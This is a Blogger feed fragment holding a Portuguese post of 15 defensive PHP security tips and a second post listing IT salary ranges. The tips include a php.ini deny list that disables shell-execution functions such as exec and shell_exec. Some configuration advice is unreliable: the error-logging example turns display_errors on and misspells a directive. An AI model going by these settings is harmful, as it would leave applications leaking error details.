Além de garantir a segurança dos usuários e das transações, um sistema web seguro também deve garantir a integridade do servidor que o hospeda. Por esse motivo, os profissionais da área devem estar sempre preparados e bem informados sobre as principais ameaças e as técnicas que ajudam a evitá-las. &lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;E, pode apostar, essa não é uma tarefa tão simples quanto parece: há uma infinidade de procedimentos que podem ser adotados para evitar uma infinidade maior ainda de acessos ou uso indevido de dados e recursos.&lt;br /&gt;
Pensando nisso, nós separamos algumas dicas que podem ajudá-lo a garantir a segurança do seu sistema desenvolvido em PHP. Confira-as:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1. Sempre use nomes de cookies de sessão diferentes&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Para evitar que ocorra os chamados roubos de sessão, é sempre bom definir nomes diferentes para os cookies de sessão. Por exemplo, o nome padrão utilizado pelo PHP para guardar ids de sessão é &quot;PHPSESSID&quot;. Logo, mudar esse nome dificultará a ação de qualquer cracker que queira se aproveitar da sua aplicação.&lt;br /&gt;
&lt;br /&gt;
Outra dica interessante é usar nomes diferentes para cada acesso e vinculá-lo a algo do acesso do visitante.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglJrp-16HHdMylPs5FTtfqGJl3deadWJ6dl2wLRyVy9ciL3EltNw4Na6a5TDYGcl3d0G4sZ2jXdI9qdhesNFXyErjf1FcPGS9vSvZ4ktOKvQNr3lYGtwvVGADD9ZLbEAQTE8QFrUgPe2o/s1600/01.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglJrp-16HHdMylPs5FTtfqGJl3deadWJ6dl2wLRyVy9ciL3EltNw4Na6a5TDYGcl3d0G4sZ2jXdI9qdhesNFXyErjf1FcPGS9vSvZ4ktOKvQNr3lYGtwvVGADD9ZLbEAQTE8QFrUgPe2o/s1600/01.png&quot; height=&quot;92&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2. Só acesse cookies de sessão via HTTP&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Embora os ids de sessão sejam armazenados em cookies por padrão no PHP, o atributo session.cookie_httponly não vem como padrão. Ativando-o você garante que os cookies de sessão só poderão sre acessados via HTTP, impedindo que scripts JavaScript, por exemplo, sejam barrados ao tentar fazer o mesmo. Essa á uma ótima dica para evitar principalmente ataques XSS.&lt;br /&gt;
Para mudar a configuração, vá até o arquivo php.ini do PHP, procure pelo atributo session.cookie_httponly e defina seu valor como 1.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3. Atribua um limite de tempo de vida para as sessões&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Mesmo que um cracker consiga acessar o seu sistema roubando uma sessão, ele terá pouquíssimo tempo para agir se você limitar o tempo de vida das sessões.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrHc26MjC0W8eE4aVXwfhgFk0bA12bSFqybH2fhund8NahWI6KfE6zccxVwmsYKgF-2ebOxWA4FXNepdFvlU9powN4os01eIUy8kngBilJQ4LGgMEyk6bgQKf85KdDjuANGpCY6RX8dA/s1600/02.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrHc26MjC0W8eE4aVXwfhgFk0bA12bSFqybH2fhund8NahWI6KfE6zccxVwmsYKgF-2ebOxWA4FXNepdFvlU9powN4os01eIUy8kngBilJQ4LGgMEyk6bgQKf85KdDjuANGpCY6RX8dA/s1600/02.png&quot; height=&quot;108&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;4. Valide a origem da sessão em todas as páginas&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Garanta que o usuário que se autenticou no sistema é o mesmo que está acessando a página atual validando o User Agent e o IP do dono da sessão em todas as páginas.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAeNTzTseRnfa9dfnNayedTHo7sT9Gnu82RLP_7iUxabvOPZF54NM9ches7Wv1xFDMbDW0gmsEVwHoC9RWCJ0-TI4UMvR1xs7HKbeVjq4nI5NECiijAdDUcqEyNF6pevDAzqOjPu3m55s/s1600/03.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAeNTzTseRnfa9dfnNayedTHo7sT9Gnu82RLP_7iUxabvOPZF54NM9ches7Wv1xFDMbDW0gmsEVwHoC9RWCJ0-TI4UMvR1xs7HKbeVjq4nI5NECiijAdDUcqEyNF6pevDAzqOjPu3m55s/s1600/03.png&quot; height=&quot;184&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;5. Evite Spoofing de formulário&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
O Spoofing de formulário ocorre quando uma postagem é feita em um dos formulários do seu site de um local inesperado e/ou desconhecido. Neste caso, uma técnica que pode ajudar a evitar esse tipo de ataque é a utilização de um token. Nele, você pode guardar uma chave na sessão no momento em que o formulário é exibido e, quando os dados forem postados, utilizá-la para comparar se a chave enviada é a mesma gravada na sessão anteriormente.&lt;br /&gt;
&lt;br /&gt;
Vale lembrar, no entanto, que essa dica deve ser implantada em formulário mais simples - para casos mais complexos, a alternativa mais efetiva contra robôs continua sendo o uso do Captcha.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM0-aQXau0W4jlvQi-Iup54_xAmhftdKpOVJpMVLi8My73W73hidk4gkbtckMlqjBtiV_5CqO4czKlRjNpejy6OwgXeEHhewilhyphenhyphen0KOn50JwbborOUWZ-6QYSQL2ms2k0FWVv_AVCfWuA/s1600/04.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM0-aQXau0W4jlvQi-Iup54_xAmhftdKpOVJpMVLi8My73W73hidk4gkbtckMlqjBtiV_5CqO4czKlRjNpejy6OwgXeEHhewilhyphenhyphen0KOn50JwbborOUWZ-6QYSQL2ms2k0FWVv_AVCfWuA/s1600/04.png&quot; height=&quot;360&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;6. Nunca esqueça de validar dados externos&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Jamais se esqueça de validar os dados que chegam à sua aplicação via comandos GET, POST, COOKIE ou SERVER, pois todos eles podem ser manipulados e merecem ser verificados. Essa prática é especialmente importante para evitar ataques do tipo XSS e SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Para esta tarefa, pode-se usar as validações que vêm nativamente no PHP. Veja alguns exemplos abaixo:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGd_RVggOdpHmdzIG5c1PfIB7d34F848fxBVHmbBBQsOxq-8OXMA_-9esPfh2gGAQEyJvkCI0uXYbQ06ipTkbGsxeuGbk1Z9fx7CeEjUO5JchC2XjEhJ8Ov72bR8u6UnFwQ0lrcAL2lD8/s1600/05.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGd_RVggOdpHmdzIG5c1PfIB7d34F848fxBVHmbBBQsOxq-8OXMA_-9esPfh2gGAQEyJvkCI0uXYbQ06ipTkbGsxeuGbk1Z9fx7CeEjUO5JchC2XjEhJ8Ov72bR8u6UnFwQ0lrcAL2lD8/s1600/05.png&quot; height=&quot;297&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;7. Valide os arquivos enviados ao servidor&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
É cada vez mais raro encontrarmos sistemas que não oferecem a possibilidade de enviarmos algum arquivo para armazená-lo no servidor. Se o seu utiliza esse recurso, então nunca esqueça de validar os uploads antes de salvar os arquivos no servidor. Dessa forma você evita que arquivos maliciosos sejam armazenados e causem algum dano ao seu servidor e sistema.&lt;br /&gt;
Vale ressaltar, no entanto, que validar apenas a extensão do arquivo já não é mais suficiente, pois ela pode ser manipulada no momento do envio. Para uma solução completa, é preciso verificar o cabeçalho do arquivo. No caso de imagens, uma boa alternativa é a seguinte:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijr8ZitD7DQAcEpPARVNwXtWElCvu3U8w2fIbL7l9qEHDjpBNggaOZXUwL50d6gTSYzE8E068h9os1mHQJUY9cbIRpc3mNuNuJMjYqmC17GQSnqjeYwuU3rp4M8M5GsrwKNy5d8bVd7cI/s1600/08.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijr8ZitD7DQAcEpPARVNwXtWElCvu3U8w2fIbL7l9qEHDjpBNggaOZXUwL50d6gTSYzE8E068h9os1mHQJUY9cbIRpc3mNuNuJMjYqmC17GQSnqjeYwuU3rp4M8M5GsrwKNy5d8bVd7cI/s1600/08.png&quot; height=&quot;339&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;8. Impeça que suas pastas sejam acessadas via HTTP&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
No PHP, inúmeras configurações ficam armazenadas em arquivos com extensões ini, XML, JSON, txt e outras. O pior de tudo é que o conteúdo desses arquivos é visível quando acessados pelo navegador, o que acaba sendo um problema se ali contiver informações confidenciais.&lt;br /&gt;
&lt;br /&gt;
Para evitar esse problema, a melhor alternativa é proteger as pastas que contêm esses arquivos contra acessos externos. Para isso, basta colocar esses arquivos fora da pasta public_html ou adicionar um arquivo .htaccess com as seguintes configurações nas pastas que se deseja proteger:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVWoTzeCWBpNk7HKG8uHZKfZBBVvr-gFa2CS_-MwSGfTwABfC39DwO0ZDvEf-mTfYfvCgHCQlEh9feb1pEuS1BklRCQfW7EoapnU1s2CtaZ0KxTNqj7-5NqtGQLBv92uCMGEKifefYx3A/s1600/07.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVWoTzeCWBpNk7HKG8uHZKfZBBVvr-gFa2CS_-MwSGfTwABfC39DwO0ZDvEf-mTfYfvCgHCQlEh9feb1pEuS1BklRCQfW7EoapnU1s2CtaZ0KxTNqj7-5NqtGQLBv92uCMGEKifefYx3A/s1600/07.png&quot; height=&quot;158&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;9. Mantenha o controle dos erros do sistema&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Não adianta: por mais que você previna que erros ocorram na sua aplicação, aqui e ali eles aparecerão. O problema é que, se não forem bem tratadas, essas falhas podem acabar exibindo dados sobre sua aplicação.&lt;br /&gt;
Para evitar isso, defina um arquivo de log para registrar esses erros. Caso haja necessidade de acompanhar esse arquivo de log em tempo real, uma boa opção é acessar o servidor via SSH e usar o comando tail -f pathlog/logfile.&lt;br /&gt;
Também há uma configuração que pode ser feita no php.ini para evitar que tudo seja exibido na cara do usuário. Acesse-o e modifique as seguintes linhas para armazenar tudo num arquivo predeterminado:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;i&gt;//php.ini error_reporting = E_ALL &amp;amp; ~E_NOTICE display_errors=On log_error=On error_log=my_file.log //&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;10. Jamais armazene senhas em texto puro&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Chega um momento do desenvolvimento que o cansaço começa a tomar conta de nós e acabamos abrindo mão de alguns recursos de segurança para adiantar os testes do projeto. Contudo, isso não pode acontecer quando o assunto é as senhas de acesso ao sistema. Elas jamais devem ser armazenadas sem antes serem criptografadas. Adotando essa técnica, você protege não só os seus usuários, mas também o banco de dados de uma eventual invasão.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;11. Fique de olho nos erros de senha&lt;/b&gt;&lt;br /&gt;
Há quem monitore toda tentativa de acesso ao sistema, quer seja ela bem sucedida ou não. Uma vez com esse controle implantado, é sempre bom ficar de olho e bloquear o IP de origem ou adicionar um Captcha como validação adicional em caso de mais de três tentativas de senha incorreta. Dessa forma você mina as possibilidades de ataques de força bruta.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;12. Tenha cuidado com as permissões em pastas&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Sempre tenha um pé atrás e restrinja o acesso às pastas do servidor. Adicione regras de execução e escrita somente em pastas aproriadas.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;13. Cuidado com servidores compartilhados&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Os servidores compartilhados são vistos por uma boa parcela dos desenvolvedores como uma ótima opção de hospedagem principalmente por causa dos preços baixos, que acabam os tornando atraentes. Contudo, o que os iniciantes não sabem é que essa solução também traz consigo algumas preocupações extras com segurança.&lt;br /&gt;
Há alguns anos, o PHP tentou resolver parte desses problemas com a diretiva safe_mode, mas chegou-se à conclusão que essa preocupação não era de responsabilidade da equipe de desenvolvimento da tecnologia. Por esse motivo, essa diretiva passará a não existir mais a partir do PHP 6.&lt;br /&gt;
&lt;br /&gt;
Mesmo assim, ainda há três diretivas do php.ini que continuam a desempenhar um importante papel na configuração de hospedagens compartilhadas. São elas:&lt;br /&gt;
open_basedir: Com ela, é possível imitar os diretórios que o PHP pode abrir com o fopen ou include.&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;//php.ini open_basedir = &quot;/home/user/www/:/usr/local/lib/php/&quot;; ;foram adicionados dois caminhos separados por “:” disable_functions e disable_classes: essas duas diretivas funcionam de forma semelhante e permitem que você desabilite certas funções nativas do PHP e classes por razões de segurança.//&lt;/li&gt;
&lt;li&gt;//php.ini ;desabilitando as funções disable_functions = exec,passthru,shell_exec,system ;desabilitando as classes disable_classes = DirectoryIterator,Directory  //&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;14. Tenha um plano em caso de comprometimento do sistema&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Sempre somos levados a pensar que o pior não acontecerá conosco. Contudo, como o seguro morreu de velho, é sempre bom ter um plano de ação para o caso de você descobrir que seu sistema foi comprometido.&lt;br /&gt;
Uma boa dica é desabilitar as contas para que uma investigação seja conduzida a fim de descobrir a falha explorada pelos crackers. Depois disso, defina uma estratégia de reativação das contas utilizando e-mails.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;15. Fique sempre de olho no seu sistema&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
Utilize programas de identificação de vulnerabilidades. Além de identificar os pontos fracos da sua aplicação, esses sistemas oferecem informações sobre elas e ainda podem lhe orientar sobre como resolvê-las.&lt;br /&gt;
&lt;br /&gt;
Se quiser experimentar um desses programas, recomendamos o Netsparker e o Mantra.&lt;br /&gt;
Fonte: Canaltech&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/4276992609265443283/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/12/blinde-sua-aplicacao-web-php-com-estas.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/4276992609265443283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/4276992609265443283'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/12/blinde-sua-aplicacao-web-php-com-estas.html' title='Blinde sua aplicação web PHP com estas 15 dicas de segurança'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwKZAP4B_c8jb9c5cb4Pu8CvZQAxmyIhEhkuFfB-qzmzKruHNs6sMg8krh0bHPThxvUXy2clkrRYt-xFvSNLMkrDPXwxvCX0O_Pa0GRyxBle8Zj2MK7_difmnkQO6Xe8WohfoxaeP4Oe8/s72-c/php-bug.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-4661191324633502107</id><published>2014-11-25T06:30:00.002-03:00</published><updated>2015-11-01T09:42:57.915-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Salários"/><category scheme="http://www.blogger.com/atom/ns#" term="TI"/><title type='text'>Salários de líderes de TI aumentam 4,5% em um ano</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyp9xVXGMEADR1m03oYX_hrVnQXFKuZBglC2-Fbv7EinBocfAVQPl_rQxFjGCZhBhF6cpdsSCG4hokOKHTJg5CQKRgdxCa6H45XIe37IdJaVtLiPvXpe-xvYvbZyxcIQfbr5-Gi19s8Vs/s1600/mobilidade.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;217&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyp9xVXGMEADR1m03oYX_hrVnQXFKuZBglC2-Fbv7EinBocfAVQPl_rQxFjGCZhBhF6cpdsSCG4hokOKHTJg5CQKRgdxCa6H45XIe37IdJaVtLiPvXpe-xvYvbZyxcIQfbr5-Gi19s8Vs/s1600/mobilidade.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
O mercado de tecnologia está em expansão e deve manter aquecida a demanda por profissionais em 2015. Pelo menos é o que aponta um relatório da Robert Half. De acordo com a consultoria, a maior procura é em empresas de médio porte, que estruturam seus quadros de TI, em startups e em grandes companhias que lançam novos projetos na área. As indústrias mais aquecidas são a eletrônica, serviços financeiros e internet.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
O Guia Salarial aponta ainda outras duas importantes transformações no setor: a ampliação das contratações no modelo formal, substituindo gradativamente o modelo “pessoa jurídica” por contratos CLT; e a redução da rotatividade dos executivos de TI nos últimos semestres.&lt;br /&gt;
As habilidades comportamentais mais valorizadas pelas empresas nos profissionais de TI são visão de negócio, jogo de cintura, adaptabilidade e comunicação, aponta o estudo.&lt;br /&gt;
&lt;br /&gt;
As posições mais demandadas do segmento de tecnologia são o gerente de TI, desenvolvedor e analista de negócios. O coordenador de sistemas e desenvolvimento é o profissional que deve ter a maior alta salarial em 2015, com previsão de 10% de incremento. &amp;nbsp;Já o gerente de TI, desejado principalmente por pequenas e médias empresas, tem faixa salarial a partir de R$ 12,5 mil e até R$ 25 mil, para companhias deste porte.&lt;br /&gt;
Confira a seguir a média salarial dos profissionais de tecnologia previstas pela Robert Half para 2015!&lt;br /&gt;
&lt;br /&gt;
Diretor de TI/ CIO&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$20.000 – 35.000&lt;br /&gt;
Salário de 2015: R$20.000 – 40.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$25.000 – 55.000&lt;br /&gt;
Salário de 2015: R$25.000 – 55.000&lt;br /&gt;
Diferença: 4,5%&lt;br /&gt;
&lt;br /&gt;
Gerente de TI&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$12.500 – 25.000&lt;br /&gt;
Salário de 2015: R$13.000 – 26.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$15.000 – 30.000&lt;br /&gt;
Salário de 2015: R$16.000 – 30.000&lt;br /&gt;
Diferença: 3%&lt;br /&gt;
&lt;br /&gt;
Gerente de Projetos/ PMO&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$9.000 – 18.000&lt;br /&gt;
Salário de 2015: R$9.000 – 18.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$10.000 – 22.000&lt;br /&gt;
Salário de 2015: R$12.000 – 22.500&lt;br /&gt;
Diferença: 4%&lt;br /&gt;
&lt;br /&gt;
Gerente de Infraestrutura/ Telecomunicações&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$9.000 – 16.000&lt;br /&gt;
Salário de 2015: R$9.000 – 16.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$13.000 – 20.000&lt;br /&gt;
Salário de 2015: R$13.000 – 22.000&lt;br /&gt;
Diferença: 3%&lt;br /&gt;
&lt;br /&gt;
Coordenador de Infraestrutura/ Telecomunicações&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$7.000 – 12.000&lt;br /&gt;
Salário de 2015: R$7.500 – 12.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$8.500 – 16.500&lt;br /&gt;
Salário de 2015: R$8.500 – 16.500&lt;br /&gt;
Diferença: 1,5%&lt;br /&gt;
&lt;br /&gt;
Analista de Infraestrutura/ Telecomunicações&lt;br /&gt;
Sênior&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$4.000 – 7.000&lt;br /&gt;
Salário de 2015: R$4.000 – 7.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$5.000 – 8.000&lt;br /&gt;
Salário de 2015: R$5.000 – 8.500&lt;br /&gt;
Diferença: 2%&lt;br /&gt;
Pleno&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$3.000 – 5.000&lt;br /&gt;
Salário de 2015: R$3.000 – 5.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$4.000 – 6.000&lt;br /&gt;
Salário de 2015: R$4.000 – 6.500&lt;br /&gt;
Diferença: 2,5%&lt;br /&gt;
Júnior&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$2.000 – 4.000&lt;br /&gt;
Salário de 2015: R$2.000 – 4.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$3.000 – 5.000&lt;br /&gt;
Salário de 2015: R$3.000 – 4.500&lt;br /&gt;
Diferença: -3%&lt;br /&gt;
&lt;br /&gt;
Gerente de Sistemas/ Desenvolvimento&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$10.000 – 16.000&lt;br /&gt;
Salário de 2015: R$11.000 – 16.500&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$14.000 – 20.000&lt;br /&gt;
Salário de 2015: R$14.000 – 22.000&lt;br /&gt;
Diferença: 6%&lt;br /&gt;
&lt;br /&gt;
Coordenador de Sistemas/ Desenvolvimento&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$7.000 – 13.000&lt;br /&gt;
Salário de 2015: R$8.500 – 14.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$9.000 – 17.000&lt;br /&gt;
Salário de 2015: R$11.000 – 17.000&lt;br /&gt;
Diferença: 10%&lt;br /&gt;
&lt;br /&gt;
Analista de Sistemas/ Desenvolvimento&lt;br /&gt;
Sênior&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$6.500 – 9.500&lt;br /&gt;
Salário de 2015: R$6.500 – 10.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$8.000 – 10.500&lt;br /&gt;
Salário de 2015: R$8.000 – 12.000&lt;br /&gt;
Diferença: 5,5%&lt;br /&gt;
Pleno&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$4.500 – 6.500&lt;br /&gt;
Salário de 2015: R$4.500 – 6.500&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$5.000 – 7.500&lt;br /&gt;
Salário de 2015: R$5.000 – 8.000&lt;br /&gt;
Diferença: 2%&lt;br /&gt;
Júnior&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$3.500 – 5.000&lt;br /&gt;
Salário de 2015: R$3.500 – 5.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$3.500 – 6.000&lt;br /&gt;
Salário de 2015: R$3.500 – 6.500&lt;br /&gt;
Diferença: 2,5%&lt;br /&gt;
&lt;br /&gt;
Analista de Negócios&lt;br /&gt;
Sênior&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$7.000 – 10.000&lt;br /&gt;
Salário de 2015: R$7.000 – 12.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$9.000 – 12.000&lt;br /&gt;
Salário de 2015: R$9.000 – 14.000&lt;br /&gt;
Diferença: 10,5%&lt;br /&gt;
Pleno&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$4.500 – 7.000&lt;br /&gt;
Salário de 2015: R$5.000 – 7.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$6.000 – 8.000&lt;br /&gt;
Salário de 2015: R$6.500 – 8.500&lt;br /&gt;
Diferença: 5,5%&lt;br /&gt;
Júnior&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$3.500 – 6.000&lt;br /&gt;
Salário de 2015: R$3.500 – 6.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$4.000 – 6.500&lt;br /&gt;
Salário de 2015: R$4.000 – 6.500&lt;br /&gt;
Diferença: 0%&lt;br /&gt;
&lt;br /&gt;
Analista ERP&lt;br /&gt;
Sênior&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$7.000 – 11.000&lt;br /&gt;
Salário de 2015: R$8.000 – 13.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$9.000 – 14.000&lt;br /&gt;
Salário de 2015: R$10.000 – 17.000&lt;br /&gt;
Diferença: 17%&lt;br /&gt;
Pleno&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$6.000 – 9.500&lt;br /&gt;
Salário de 2015: R$6.000 – 10.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$7.000 – 12.000&lt;br /&gt;
Salário de 2015: R$7.000 – 12.000&lt;br /&gt;
Diferença: 1,5%&lt;br /&gt;
Júnior&lt;br /&gt;
Empresa de tamanho P/M:&lt;br /&gt;
Salário de 2014: R$4.000 – 6.000&lt;br /&gt;
Salário de 2015: R$3.500 – 6.000&lt;br /&gt;
Empresa de tamanho G:&lt;br /&gt;
Salário de 2014: R$4.500 – 7.500&lt;br /&gt;
Salário de 2015: R$4.500 – 7.500&lt;br /&gt;
Diferença: -2,5%&lt;br /&gt;
&lt;br /&gt;
Fonte: Cio.com.br&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
